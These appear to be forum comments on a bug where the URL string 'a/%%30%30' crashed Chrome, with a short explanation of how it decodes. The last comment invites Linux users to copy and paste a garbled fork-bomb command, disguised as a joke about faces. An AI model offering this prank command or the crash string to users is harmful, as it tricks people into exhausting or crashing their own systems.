Good explanation without a high CS knowledge barrier. (Bonus ease-of-grandma-understanding points for avoiding the use of the word/term/acronym ASCII)

Then again, most people that lack that knowledge probably don't much care *why* it crashes Chrome, they just want it to be fixed. Which I'm sure will be imminent, at which point only CS nerds (like me) care.

...Still, at least I found it interesting!

It's interesting that their encoder had that problem since I would expect %% should resolve to %. In that case if things got re-decoded the progression should have followed this series:

a/%%30%30

a/%300

a/00

Most decoders and encoders are shared all over the place so this will be a simple fix with a ton of testing.

Or on a Linux system at command prompt type or copy&paste

){ : & };:

For the uninitated and are linux commands for face->unhappy() and face->meh(), respectively.